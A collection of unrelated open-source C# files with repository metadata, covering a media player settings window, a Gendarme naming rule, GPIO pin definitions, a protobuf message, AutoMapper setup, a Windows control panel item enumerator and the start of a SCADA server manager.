runKey.SetValue("PlexFlux", "\"" + Assembly.GetEntryAssembly().Location + "\" -startup");
else
runKey.DeleteValue("PlexFlux", false);
}
var app = (App)Application.Current;
app.config.AllowMinimize = checkMinimize.IsChecked == true;
app.config.EnableNotification = checkEnableNotification.IsChecked == true;
app.config.DisableDiskCaching = checkDisableDiskCaching.IsChecked == true;
app.config.OutputDeviceID = (string)((ComboBoxItem)comboDevice.SelectedItem).Tag;
app.config.IsExclusive = comboOutputMode.SelectedIndex == 1;
app.config.TranscodeBitrate = (int)((ComboBoxItem)comboBitrate.SelectedItem).Tag;
app.config.Save();
if (nextTrackApplied)
MessageBox.Show("Settings will be applied on next track.", "PlexFlux", MessageBoxButton.OK, MessageBoxImage.Information);
DialogResult = true;
Close();
}
private void Output_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
nextTrackApplied = true;
}
private async void InstallDeskBand_Click(object sender, RoutedEventArgs e)
{
var task = new Task(() =>
{
var startInfo = new ProcessStartInfo()
{
FileName = Environment.Is64BitOperatingSystem ? "PlexFlux.DeskBand.Installer64.exe" : "PlexFlux.DeskBand.Installer.exe",
Arguments = "-install",
CreateNoWindow = true
};
try
{
var process = Process.Start(startInfo);
process.WaitForExit();
if (process.ExitCode != 0)
throw new Win32Exception("Unknown error");
}
catch (Exception exception)
{
MessageBox.Show("Installation failed.\nMessage: " + exception.Message, "PlexFlux", MessageBoxButton.OK, MessageBoxImage.Error);
}
});
buttonInstallDeskBand.IsEnabled = false;
buttonUninstallDeskBand.IsEnabled = false;
task.Start();
await task;
UpdateDeskBandInstallationState();
}
private async void UninstallDeskBand_Click(object sender, RoutedEventArgs e)
{
var task = new Task(() =>
{
var startInfo = new ProcessStartInfo()
{
FileName = Environment.Is64BitOperatingSystem ? "PlexFlux.DeskBand.Installer64.exe" : "PlexFlux.DeskBand.Installer.exe",
Arguments = "-uninstall",
CreateNoWindow = true
};
try
{
var process = Process.Start(startInfo);
process.WaitForExit();
if (process.ExitCode != 0)
throw new Win32Exception("Unknown error");
}
catch (Exception exception)
{
MessageBox.Show("Uninstallation failed.\nMessage: " + exception.Message, "PlexFlux", MessageBoxButton.OK, MessageBoxImage.Error);
}
});
buttonInstallDeskBand.IsEnabled = false;
buttonUninstallDeskBand.IsEnabled = false;
task.Start();
await task;
UpdateDeskBandInstallationState();
}
private void UpdateDeskBandInstallationState()
{
// deskband installation state
var installedDeskBand = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32).OpenSubKey("CLSID\\" + new Guid("ADAE1E11-F046-4726-9B7B-F1B78B183877").ToString("B")) != null;
buttonInstallDeskBand.IsEnabled = !installedDeskBand;
buttonUninstallDeskBand.IsEnabled = installedDeskBand;
}
}
}
| 36.538043 | 269 | 0.561357 | [
"MIT"
] | brian9206/PlexFlux | PlexFlux/UI/SettingsWindow.xaml.cs | 6,725 | C# |
//
// Gendarme.Rules.Naming.AvoidRedundancyInTypeNameRule
//
// Authors:
// Cedric Vivier <cedricv@neonux.com>
//
// Copyright (C) 2008 Cedric Vivier
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
using System;
using System.Collections.Generic;
using System.Globalization;
using Mono.Cecil;
using Gendarme.Framework;
using Gendarme.Framework.Rocks;
using Gendarme.Framework.Engines;
namespace Gendarme.Rules.Naming {
/// <summary>
/// This rule will fire if a type is prefixed with the last component of its namespace.
/// Using prefixes like this makes type names more verbose than they need to be
/// and makes them harder to use with tools like auto-complete. Note that an
/// exception is made if removal of the prefix would cause an ambiguity with another
/// type. If this is the case the rule will not report a defect.
/// </summary>
/// <example>
/// Bad example:
/// <code>
/// namespace Foo.Lang.Compiler {
/// public class CompilerContext {
/// }
/// }
/// </code>
/// <code>
/// using Foo.Lang;
/// ...
/// Compiler.CompilerContext context = new Compiler.CompilerContext ();
/// </code>
/// <code>
/// using Foo.Lang.Compiler;
/// ...
/// CompilerContext context = new CompilerContext ();
/// </code>
/// </example>
/// <example>
/// Good example:
/// <code>
/// namespace Foo.Lang.Compiler {
/// public class Context {
/// }
/// }
/// </code>
/// <code>
/// using Foo.Lang;
/// ...
/// Compiler.Context context = new Compiler.Context ();
/// </code>
/// <code>
/// using Foo.Lang.Compiler;
/// ...
/// Context context = new Context ();
/// </code>
/// </example>
/// <example>
/// Another good example (more meaningful term in the context of the namespace):
/// <code>
/// namespace Foo.Lang.Compiler {
/// public class CompilationContext {
/// }
/// }
/// </code>
/// </example>
[Problem ("This type name is prefixed with the last component of its enclosing namespace. This usually makes an API more verbose and less autocompletion-friendly than necessary.")]
[Solution ("Remove the prefix from the type or replace it with a more meaningful term in the context of the namespace.")]
[EngineDependency (typeof (NamespaceEngine))]
[FxCopCompatibility ("Microsoft.Naming", "CA1724:TypeNamesShouldNotMatchNamespaces")]
public class AvoidRedundancyInTypeNameRule : Rule, ITypeRule {
public RuleResult CheckType (TypeDefinition type)
{
string ns = type.GetTypeName().Namespace;
if (type.IsGeneratedCode () || string.IsNullOrEmpty (ns))
return RuleResult.DoesNotApply;
int ifaceOffset = type.IsInterface ? 1 : 0;
int lastDot = ns.LastIndexOf ('.');
string name = type.Name;
//type name is smaller or equal to namespace it cannot be a defect
if (name.Length - ifaceOffset <= (ns.Length - lastDot))
return RuleResult.Success;
string lastComponent = ns.Substring (lastDot + 1);
if (type.IsInterface)
name = name.Substring (1);
if (!name.StartsWith (lastComponent, StringComparison.Ordinal))
return RuleResult.Success;
//if first char of suggestion does not start with a uppercase, can ignore it
//ie. Foo.Bar.Barometer
if (!char.IsUpper (name [lastComponent.Length]))
return RuleResult.Success;
string suggestion = name.Substring (lastComponent.Length);
//if base type name is or ends with suggestion, likely not clearer if we rename it.
//would bring ambiguity or make suggestion looks like base of basetype
if (null != type.BaseType) {
string base_name = type.BaseType.Name;
if (base_name.EndsWith (suggestion, StringComparison.Ordinal))
return RuleResult.Success;
//equally, if base type starts with the prefix, it is likely a wanted pattern
if (DoesNameStartWithPascalWord (base_name, lastComponent))
return RuleResult.Success;
}
if (type.IsInterface)
suggestion = string.Concat ("I", suggestion);
//we have a really interesting candidate now, let's check that removing prefix
//would not cause undesirable ambiguity with a type from a parent namespace
while (0 != ns.Length) {
foreach (TypeDefinition typ in NamespaceEngine.TypesInside (ns)) {
if (null == typ)
break;
if (suggestion == typ.Name) //ambiguity
return RuleResult.Success;
}
ns = ns.Substring (0, Math.Max (0, ns.LastIndexOf ('.')));
}
//main goal is to keep the API as simple as possible so this is more severe for visible types
Severity severity = type.IsVisible () ? Severity.Medium : Severity.Low;
string msg = String.Format (CultureInfo.InvariantCulture, "Consider renaming type to '{0}'.", suggestion);
Runner.Report (type, severity, Confidence.Normal, msg);
return RuleResult.Failure;
}
//FIXME: share this?
private static bool DoesNameStartWithPascalWord (string name, string word)
{
if (!name.StartsWith (word, StringComparison.Ordinal))
return false;
return (name.Length > word.Length && char.IsUpper (name [word.Length]));
}
}
}
| 34.843931 | 181 | 0.701228 | [
"MIT"
] | SteveGilham/Gendarme | gendarme/rules/Gendarme.Rules.Naming/AvoidRedundancyInTypeNameRule.cs | 6,028 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MccDaq;
namespace KVStore_Update
{
public struct GPIO_PIN
{
public DigitalPortType port;
public short val;
public GPIO_PIN(DigitalPortType port, short val)
{ //Defines the port name and port value of the associated GPIO signal
//In order to do "atomic" writes to the GPIO module using multiple signals,
//they will need to share the same port and be OR'd together
this.port = port;
this.val = val;
}
}
static class GPIO_Definitions
{
public static readonly GPIO_PIN INT_BATT_EN;
public static readonly GPIO_PIN EXT1_BATT_EN;
public static readonly GPIO_PIN EXT2_BATT_EN;
public static readonly GPIO_PIN PPS_LOAD_EN;
public static readonly GPIO_PIN MEAS_3V3_HOT_EN;
public static readonly GPIO_PIN MEAS_5V0_HOT_EN;
public static readonly GPIO_PIN MEAS_5V3_EN;
public static readonly GPIO_PIN MEAS_12V0_EN;
public static readonly GPIO_PIN MEAS_3V3_EN;
public static readonly GPIO_PIN MEAS_1V2_EN;
public static readonly GPIO_PIN MEAS_3V3A_EN;
public static readonly GPIO_PIN MEAS_VREF_EN;
public static readonly GPIO_PIN MEAS_30V_EN;
public static readonly GPIO_PIN MEAS_36V_EN;
public static readonly GPIO_PIN MEAS_O2_SV1N_EN;
public static readonly GPIO_PIN MEAS_O2_SV2N_EN;
public static readonly GPIO_PIN FAN_FREQ_MEAS_EN;
public static readonly GPIO_PIN VFAN_MEAS_EN;
public static readonly GPIO_PIN FAN_FAULT_EN;
public static readonly GPIO_PIN EXT_O2_DIS;
public static readonly GPIO_PIN WDOG_DIS;
public static readonly GPIO_PIN MEAS_BATT_CHG_EN;
public static readonly GPIO_PIN AC_EN;
static GPIO_Definitions()
{ //FirstPortA -> 8 bits wide
INT_BATT_EN = new GPIO_PIN(DigitalPortType.FirstPortA, 0x03); //Bits 0&1
EXT1_BATT_EN = new GPIO_PIN(DigitalPortType.FirstPortA, 0x0C); //Bits 2&3
EXT2_BATT_EN = new GPIO_PIN(DigitalPortType.FirstPortA, 0x30); //Bits 4&5
PPS_LOAD_EN = new GPIO_PIN(DigitalPortType.FirstPortA, 0x80); //Bit 7
//FirstPortB -> 8 bits wide
MEAS_3V3_HOT_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x01); //Bit 0
MEAS_5V0_HOT_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x02); //Bit 1
MEAS_5V3_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x04); //Bit 2
MEAS_12V0_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x08); //Bit 3
MEAS_3V3_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x10); //Bit 4
MEAS_1V2_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x20); //Bit 5
MEAS_3V3A_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x40); //Bit 6
MEAS_VREF_EN = new GPIO_PIN(DigitalPortType.FirstPortB, 0x80); //Bit 7
//FirstPortC -> 8 bits wide
MEAS_30V_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x01); //Bit 0
MEAS_36V_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x02); //Bit 1
MEAS_O2_SV1N_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x04); //Bit 2
MEAS_O2_SV2N_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x08); //Bit 3
FAN_FREQ_MEAS_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x10); //Bit 4
VFAN_MEAS_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x20); //Bit 5
MEAS_BATT_CHG_EN = new GPIO_PIN(DigitalPortType.FirstPortC, 0x40); //Bit 6
//SecondPortA -> 8 bits wide
FAN_FAULT_EN = new GPIO_PIN(DigitalPortType.SecondPortA, 0x01); //Bit 0
EXT_O2_DIS = new GPIO_PIN(DigitalPortType.SecondPortA, 0x06); //Bits 1&2
WDOG_DIS = new GPIO_PIN(DigitalPortType.SecondPortA, 0x08); //Bit 3
//SecondPortC -> 4 bits wide
AC_EN = new GPIO_PIN(DigitalPortType.SecondPortCL, 0x1); // Bit 1
}
}
}
| 42.29 | 91 | 0.65642 | [
"MIT"
] | trogersVLS/KVStore_Update | Communications/GPIO_Defs.cs | 4,231 | C# |
using ProtoBuf;
using System;
using System.Collections.Generic;
using System.ComponentModel;
namespace msg
{
[ProtoContract(Name = "SCMapIndexNotice")]
[Serializable]
public class SCMapIndexNotice : IExtensible
{
private long _id = 0L;
private long _worldMapId = 0L;
private readonly List<KVStruct> _index = new List<KVStruct>();
private bool _tips = false;
private IExtension extensionObject;
[ProtoMember(1, IsRequired = false, Name = "id", DataFormat = DataFormat.TwosComplement), DefaultValue(0L)]
public long id
{
get
{
return this._id;
}
set
{
this._id = value;
}
}
[ProtoMember(4, IsRequired = false, Name = "worldMapId", DataFormat = DataFormat.TwosComplement), DefaultValue(0L)]
public long worldMapId
{
get
{
return this._worldMapId;
}
set
{
this._worldMapId = value;
}
}
[ProtoMember(2, Name = "index", DataFormat = DataFormat.Default)]
public List<KVStruct> index
{
get
{
return this._index;
}
}
[ProtoMember(3, IsRequired = false, Name = "tips", DataFormat = DataFormat.Default), DefaultValue(false)]
public bool tips
{
get
{
return this._tips;
}
set
{
this._tips = value;
}
}
IExtension IExtensible.GetExtensionObject(bool createIfMissing)
{
return Extensible.GetExtensionObject(ref this.extensionObject, createIfMissing);
}
}
}
| 18.421053 | 117 | 0.672143 | [
"MIT"
] | moto2002/superWeapon | src/msg/SCMapIndexNotice.cs | 1,400 | C# |
using System.Web.Http;
using Sitecore.Services.Core;
using Sitecore.Services.Infrastructure.Sitecore.Services;
using Sitecore.Feature.ServicesClient.Models;
using Sitecore.Feature.ServicesClient.Repositories;
namespace Sitecore.Feature.ServicesClient.Controllers
{
// this will be called with a routing by default: {Controller-Namespace}/{Controller}/{ID}/{CustomActionName}
// http://YOUR_SITECORE_HOSTNAME/sitecore/api/ssc/Sitecore-Feature-ServicesClient/Entity/1/DoSomethingCustom
[ServicesController]
public class EntityController : EntityService<Entity>
{
private readonly ICustomRepositoryActions<Entity> _customRepositoryActions;
public EntityController(ICustomRepositoryActions<Entity> repository) : base(repository)
{
_customRepositoryActions = repository;
}
public EntityController() : this(new EntityRespository())
{
}
[HttpGet]
[ActionName("DoSomethingCustom")]
public string Get()
{
return _customRepositoryActions.DoSometingCustom();
}
}
} | 33.470588 | 115 | 0.6942 | [
"MIT"
] | MartinMiles/Sitecore.ServicesClient | src/Feature/ServicesClient/code/Controllers/EntityController.cs | 1,140 | C# |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace Wox.Plugin.ControlPanel
{
//from:https://raw.githubusercontent.com/CoenraadS/Windows-Control-Panel-Items
public static class ControlPanelList
{
private const uint GROUP_ICON = 14;
private const uint LOAD_LIBRARY_AS_DATAFILE = 0x00000002;
private const string CONTROL = @"%SystemRoot%\System32\control.exe";
private delegate bool EnumResNameDelegate(
IntPtr hModule,
IntPtr lpszType,
IntPtr lpszName,
IntPtr lParam);
[DllImport("kernel32.dll", EntryPoint = "EnumResourceNamesW", CharSet = CharSet.Unicode, SetLastError = true)]
static extern bool EnumResourceNamesWithID(IntPtr hModule, uint lpszType, EnumResNameDelegate lpEnumFunc, IntPtr lParam);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LoadLibraryEx(string lpFileName, IntPtr hFile, uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool FreeLibrary(IntPtr hModule);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern int LoadString(IntPtr hInstance, uint uID, StringBuilder lpBuffer, int nBufferMax);
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr LoadImage(IntPtr hinst, IntPtr lpszName, uint uType,
int cxDesired, int cyDesired, uint fuLoad);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
extern static bool DestroyIcon(IntPtr handle);
[DllImport("kernel32.dll")]
static extern IntPtr FindResource(IntPtr hModule, IntPtr lpName, IntPtr lpType);
static IntPtr defaultIconPtr;
static RegistryKey nameSpace = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace");
static RegistryKey clsid = Registry.ClassesRoot.OpenSubKey("CLSID");
public static List<ControlPanelItem> Create(uint iconSize)
{
int size = (int)iconSize;
RegistryKey currentKey;
ProcessStartInfo executablePath;
List<ControlPanelItem> controlPanelItems = new List<ControlPanelItem>();
string localizedString;
string infoTip;
Icon myIcon;
foreach (string key in nameSpace.GetSubKeyNames())
{
currentKey = clsid.OpenSubKey(key);
if (currentKey != null)
{
executablePath = getExecutablePath(currentKey);
if (!(executablePath == null)) //Cannot have item without executable path
{
localizedString = getLocalizedString(currentKey);
if (!string.IsNullOrEmpty(localizedString))//Cannot have item without Title
{
infoTip = getInfoTip(currentKey);
myIcon = getIcon(currentKey, size);
controlPanelItems.Add(new ControlPanelItem(localizedString, infoTip, key, executablePath, myIcon));
}
}
}
}
return controlPanelItems;
}
private static ProcessStartInfo getExecutablePath(RegistryKey currentKey)
{
ProcessStartInfo executablePath = new ProcessStartInfo();
string applicationName;
if (currentKey.GetValue("System.ApplicationName") != null)
{
//CPL Files (usually native MS items)
applicationName = currentKey.GetValue("System.ApplicationName").ToString();
executablePath.FileName = Environment.ExpandEnvironmentVariables(CONTROL);
executablePath.Arguments = "-name " + applicationName;
}
else if (currentKey.OpenSubKey("Shell\\Open\\Command") != null && currentKey.OpenSubKey("Shell\\Open\\Command").GetValue(null) != null)
{
//Other files (usually third party items)
string input = "\"" + Environment.ExpandEnvironmentVariables(currentKey.OpenSubKey("Shell\\Open\\Command").GetValue(null).ToString()) + "\"";
executablePath.FileName = "cmd.exe";
executablePath.Arguments = "/C " + input;
executablePath.WindowStyle = ProcessWindowStyle.Hidden;
}
else
{
return null;
}
return executablePath;
}
private static string getLocalizedString(RegistryKey currentKey)
{
IntPtr dataFilePointer;
string[] localizedStringRaw;
uint stringTableIndex;
StringBuilder resource;
string localizedString;
if (currentKey.GetValue("LocalizedString") != null)
{
localizedStringRaw = currentKey.GetValue("LocalizedString").ToString().Split(new[] { ",-" }, StringSplitOptions.None);
if (localizedStringRaw.Length > 1)
{
if (localizedStringRaw[0][0] == '@')
{
localizedStringRaw[0] = localizedStringRaw[0].Substring(1);
}
localizedStringRaw[0] = Environment.ExpandEnvironmentVariables(localizedStringRaw[0]);
dataFilePointer = LoadLibraryEx(localizedStringRaw[0], IntPtr.Zero, LOAD_LIBRARY_AS_DATAFILE); //Load file with strings
stringTableIndex = sanitizeUint(localizedStringRaw[1]);
resource = new StringBuilder(255);
LoadString(dataFilePointer, stringTableIndex, resource, resource.Capacity + 1); //Extract needed string
FreeLibrary(dataFilePointer);
localizedString = resource.ToString();
//Some apps don't return a string, although they do have a stringIndex. Use Default value.
if (String.IsNullOrEmpty(localizedString))
{
if (currentKey.GetValue(null) != null)
{
localizedString = currentKey.GetValue(null).ToString();
}
else
{
return null; //Cannot have item without title.
}
}
}
else
{
localizedString = localizedStringRaw[0];
}
}
else if (currentKey.GetValue(null) != null)
{
localizedString = currentKey.GetValue(null).ToString();
}
else
{
return null; //Cannot have item without title.
}
return localizedString;
}
private static string getInfoTip(RegistryKey currentKey)
{
IntPtr dataFilePointer;
string[] infoTipRaw;
uint stringTableIndex;
StringBuilder resource;
string infoTip = "";
if (currentKey.GetValue("InfoTip") != null)
{
infoTipRaw = currentKey.GetValue("InfoTip").ToString().Split(new[] { ",-" }, StringSplitOptions.None);
if (infoTipRaw.Length == 2)
{
if (infoTipRaw[0][0] == '@')
{
infoTipRaw[0] = infoTipRaw[0].Substring(1);
}
infoTipRaw[0] = Environment.ExpandEnvironmentVariables(infoTipRaw[0]);
dataFilePointer = LoadLibraryEx(infoTipRaw[0], IntPtr.Zero, LOAD_LIBRARY_AS_DATAFILE); //Load file with strings
stringTableIndex = sanitizeUint(infoTipRaw[1]);
resource = new StringBuilder(255);
LoadString(dataFilePointer, stringTableIndex, resource, resource.Capacity + 1); //Extract needed string
FreeLibrary(dataFilePointer);
infoTip = resource.ToString();
}
else
{
infoTip = currentKey.GetValue("InfoTip").ToString();
}
}
else
{
infoTip = "";
}
return infoTip;
}
private static Icon getIcon(RegistryKey currentKey, int iconSize)
{
IntPtr iconPtr = IntPtr.Zero;
List<string> iconString;
IntPtr dataFilePointer;
IntPtr iconIndex;
Icon myIcon = null;
if (currentKey.OpenSubKey("DefaultIcon") != null)
{
if (currentKey.OpenSubKey("DefaultIcon").GetValue(null) != null)
{
iconString = new List<string>(currentKey.OpenSubKey("DefaultIcon").GetValue(null).ToString().Split(new[] { ',' }, 2));
if (string.IsNullOrEmpty(iconString[0]))
{
// fallback to default icon
return null;
}
if (iconString[0][0] == '@')
{
iconString[0] = iconString[0].Substring(1);
}
dataFilePointer = LoadLibraryEx(iconString[0], IntPtr.Zero, LOAD_LIBRARY_AS_DATAFILE);
if (iconString.Count == 2)
{
iconIndex = (IntPtr)sanitizeUint(iconString[1]);
iconPtr = LoadImage(dataFilePointer, iconIndex, 1, iconSize, iconSize, 0);
}
if (iconPtr == IntPtr.Zero)
{
defaultIconPtr = IntPtr.Zero;
EnumResourceNamesWithID(dataFilePointer, GROUP_ICON, EnumRes, IntPtr.Zero); //Iterate through resources.
iconPtr = LoadImage(dataFilePointer, defaultIconPtr, 1, iconSize, iconSize, 0);
}
FreeLibrary(dataFilePointer);
if (iconPtr != IntPtr.Zero)
{
try
{
myIcon = Icon.FromHandle(iconPtr);
myIcon = (Icon)myIcon.Clone(); //Remove pointer dependancy.
}
catch
{
//Silently fail for now.
}
}
}
}
if (iconPtr != IntPtr.Zero)
{
DestroyIcon(iconPtr);
}
return myIcon;
}
private static uint sanitizeUint(string args) //Remove all chars before and after first set of digits.
{
int x = 0;
while (x < args.Length && !Char.IsDigit(args[x]))
{
args = args.Substring(1);
}
x = 0;
while (x < args.Length && Char.IsDigit(args[x]))
{
x++;
}
if (x < args.Length)
{
args = args.Remove(x);
}
/*If the logic is correct, this should never through an exception.
* If there is an exception, then need to analyze what the input is.
* Returning the wrong number will cause more errors */
return Convert.ToUInt32(args);
}
private static bool IS_INTRESOURCE(IntPtr value)
{
if (((uint)value) > ushort.MaxValue)
return false;
return true;
}
private static uint GET_RESOURCE_ID(IntPtr value)
{
if (IS_INTRESOURCE(value))
return (uint)value;
throw new NotSupportedException("value is not an ID!");
}
private static string GET_RESOURCE_NAME(IntPtr value)
{
if (IS_INTRESOURCE(value))
return value.ToString();
return Marshal.PtrToStringUni(value);
}
private static bool EnumRes(IntPtr hModule, IntPtr lpszType, IntPtr lpszName, IntPtr lParam)
{
defaultIconPtr = lpszName;
return false;
}
}
}
| 37.064706 | 157 | 0.526662 | [
"MIT"
] | Acidburn0zzz/Wox | Plugins/Wox.Plugin.ControlPanel/ControlPanelList.cs | 12,604 | C# |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
namespace System.IO
{
// Abstract Iterator, borrowed from Linq. Used in anticipation of need for similar enumerables
// in the future
internal abstract class Iterator<TSource> : IEnumerable<TSource>, IEnumerator<TSource>
{
private readonly int _threadId;
internal int state;
[MaybeNull, AllowNull]
internal TSource current = default;
public Iterator()
{
_threadId = Environment.CurrentManagedThreadId;
}
public TSource Current
{
get { return current!; }
}
protected abstract Iterator<TSource> Clone();
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
current = default(TSource)!;
state = -1;
}
public IEnumerator<TSource> GetEnumerator()
{
if (state == 0 && _threadId == Environment.CurrentManagedThreadId)
{
state = 1;
return this;
}
Iterator<TSource> duplicate = Clone();
duplicate.state = 1;
return duplicate;
}
public abstract bool MoveNext();
object? IEnumerator.Current
{
get { return Current; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
void IEnumerator.Reset()
{
throw new NotSupportedException();
}
}
}
| 24.573333 | 98 | 0.56701 | [
"MIT"
] | 71221-maker/runtime | src/libraries/System.IO.FileSystem/src/System/IO/Iterator.cs | 1,843 | C# |
using AutoMapper;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Web.Mvc;
namespace HomeMadeFood.Web.Common.Mapping
{
public class AutoMapperConfig
{
public static void Config(params Assembly[] assemblies)
{
Mapper.Initialize(c => RegisterMappings(c, assemblies));
}
public static void RegisterMappings(IMapperConfigurationExpression config, params Assembly[] assemblies)
{
config.ConstructServicesUsing(t => DependencyResolver.Current.GetService(t));
var types = new List<Type>();
foreach (var assembly in assemblies)
{
types.AddRange(assembly.GetExportedTypes());
}
LoadStandardMappings(config, types);
LoadReverseMappings(config, types);
LoadCustomMappings(config, types);
}
private static void LoadReverseMappings(IMapperConfigurationExpression config, IEnumerable<Type> types)
{
var maps = types.SelectMany(t => t.GetInterfaces(), (t, i) => new { t, i })
.Where(
type =>
type.i.IsGenericType && type.i.GetGenericTypeDefinition() == typeof(IMapTo<>) &&
!type.t.IsAbstract
&& !type.t.IsInterface)
.Select(type => new { Destination = type.i.GetGenericArguments()[0], Source = type.t });
foreach (var map in maps)
{
config.CreateMap(map.Source, map.Destination);
config.CreateMap(map.Destination, map.Source);
}
}
private static void LoadStandardMappings(IMapperConfigurationExpression config, IEnumerable<Type> types)
{
var maps = types.SelectMany(t => t.GetInterfaces(), (t, i) => new { t, i })
.Where(
type =>
type.i.IsGenericType && type.i.GetGenericTypeDefinition() == typeof(IMapFrom<>) &&
!type.t.IsAbstract
&& !type.t.IsInterface)
.Select(type => new { Source = type.i.GetGenericArguments()[0], Destination = type.t });
foreach (var map in maps)
{
config.CreateMap(map.Source, map.Destination);
config.CreateMap(map.Destination, map.Source);
}
}
private static void LoadCustomMappings(IMapperConfigurationExpression config, IEnumerable<Type> types)
{
var maps =
types.SelectMany(t => t.GetInterfaces(), (t, i) => new { t, i })
.Where(
type =>
typeof(IHaveCustomMappings).IsAssignableFrom(type.t) && !type.t.IsAbstract &&
!type.t.IsInterface)
.Select(type => (IHaveCustomMappings) Activator.CreateInstance(type.t));
foreach (var map in maps)
{
map.CreateMappings(config);
}
}
}
} | 38.04878 | 112 | 0.544231 | [
"MIT"
] | MilStancheva/HomeMadeFood | HomeMadeFood/Web/HomeMadeFood.Web.Common/Mapping/AutoMapperConfig.cs | 3,122 | C# |
using AntDesign;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LesBatisseursDeNations
{
public class UserOptions
{
public SiderTheme SiderTheme => SiderTheme.Dark;
public MenuTheme MenuTheme => MenuTheme.Dark;
public CultureInfo Culture { get; } = new CultureInfo("fr-CA");
}
}
| 24.117647 | 71 | 0.72439 | [
"MIT"
] | for-the-new-order/les-batisseurs-de-nations | src/les-batisseurs-de-nations/UserOptions.cs | 412 | C# |
using System;
using Microsoft.Extensions.Logging;
using Xunit.Abstractions;
// from https://stackoverflow.com/questions/46169169/net-core-2-0-configurelogging-xunit-test
namespace DasBlog.Tests.FunctionalTests.Common
{
public class XunitLogger : ILogger
{
private readonly ITestOutputHelper _testOutputHelper;
private readonly string _categoryName;
public XunitLogger(ITestOutputHelper testOutputHelper, string categoryName)
{
_testOutputHelper = testOutputHelper;
_categoryName = categoryName;
}
public IDisposable BeginScope<TState>(TState state)
=> NoopDisposable.Instance;
public bool IsEnabled(LogLevel logLevel)
=> true;
public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func<TState, Exception, string> formatter)
{
_testOutputHelper.WriteLine($"{_categoryName} [{eventId}] {formatter(state, exception)}");
if (exception != null)
_testOutputHelper.WriteLine(exception.ToString());
}
private class NoopDisposable : IDisposable
{
public static NoopDisposable Instance = new NoopDisposable();
public void Dispose()
{ }
}
}
}
| 28.475 | 139 | 0.76295 | [
"MIT"
] | Boldbayar/dasblog-core-master | source/DasBlog.Tests/FunctionalTests/Common/XunitLogger.cs | 1,139 | C# |
using System;
namespace LeanCloud.Realtime
{
[AttributeUsage(AttributeTargets.Class, Inherited = true, AllowMultiple = false)]
public sealed class AVIMTypedMessageTypeIntAttribute : Attribute
{
public AVIMTypedMessageTypeIntAttribute(int typeInt)
{
this.TypeInteger = typeInt;
}
public int TypeInteger { get; private set; }
}
}
| 26 | 85 | 0.676923 | [
"Apache-2.0"
] | leancloud/realtime-SDK-dotNET | LeanCloud.Realtime/Public/AVIMTypedMessageTypeIntAttribute.cs | 392 | C# |
/*
* Copyright 2018 Mikhail Shiryaev
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
* Product : Rapid SCADA
* Module : SCADA-Server Service
* Summary : Program execution management
*
* Author : Mikhail Shiryaev
* Created : 2015
* Modified : 2018
*/
using Scada.Server.Modules;
using System;
using System.IO;
using System.Reflection;
using Utils;
namespace Scada.Server.Engine
{
/// <summary>
/// Program execution management
/// <para>Управление работой программы</para>
/// </summary>
public sealed class Manager
{
private MainLogic mainLogic; // объект, реализующий логику сервера
private Log appLog; // журнал приложения
/// <summary>
/// Конструктор
/// </summary>
